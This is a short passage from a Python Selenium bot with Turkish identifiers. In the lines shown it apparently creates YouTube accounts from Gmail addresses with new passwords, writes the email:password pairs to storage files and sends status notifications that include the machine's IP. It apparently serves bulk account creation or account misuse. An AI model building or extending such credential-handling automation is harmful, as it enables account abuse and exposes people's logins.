1182 if not "The email and password" in text:
1183 createYoutube(str(gmail), newPass)
1184 info = str(gmail) + ":" + newPass
1185 addToGmail(info)
1186 sucC += 1
1187 endSession()
1188 continue
1189 except:
1190 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1191 try:
1192 driver.close()
1193 except:
1194 pass
1195 try:
1196 info = str(gmail) + ":" + newPass
1197 addToGmail(info)
1198 except:
1199 pass
1200 sucC += 1
1201 endSession()
1202
1203'''
1204push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1205except Exception as e:
1206 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1207'''
1208